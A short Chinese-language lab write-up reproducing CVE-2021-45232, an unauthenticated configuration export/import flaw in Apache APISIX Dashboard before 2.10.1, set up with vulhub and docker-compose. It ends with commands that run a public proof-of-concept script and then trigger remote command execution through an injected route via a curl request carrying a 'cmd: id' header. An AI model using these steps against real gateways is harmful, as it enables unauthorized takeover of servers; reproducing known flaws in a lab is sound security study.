漏洞描述:
Apache APISIX是一个动态、实时、高性能API网关,而Apache APISIX Dashboard是一个配套的前端面板。
Apache APISIX Dashboard 2.10.1版本前存在两个API`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`,他们没有经过`droplet`框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让Apache APISIX访问任意网站,甚至执行LUA脚本。
环境说明:
使用腾讯云轻量服务器安装vulhub
系统:ubuntu20.04
启动漏洞环境:
进入/vulhub/apisixCVE-2021-45232目录,使用命令启动漏洞环境:
docker-compose up -d
9000端口是Apache APISIX Dashboard的登录页面
9080端口是Apache APISIX监听端口
漏洞复现:
利用`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`两个Apache APISIX Dashboard提供的未授权API,我们可以简单地导入一个恶意配置文件,其中包含构造的LUA脚本。但我是直接利用已经写好的POC:https://github.com/wuppp/cve-2021-45232-exp
利用poc:
python apisix_dashboard_rce.py http://your-ip:9000
curl http://1.12.253.140:9080/FAVP1q -H "cmd:id"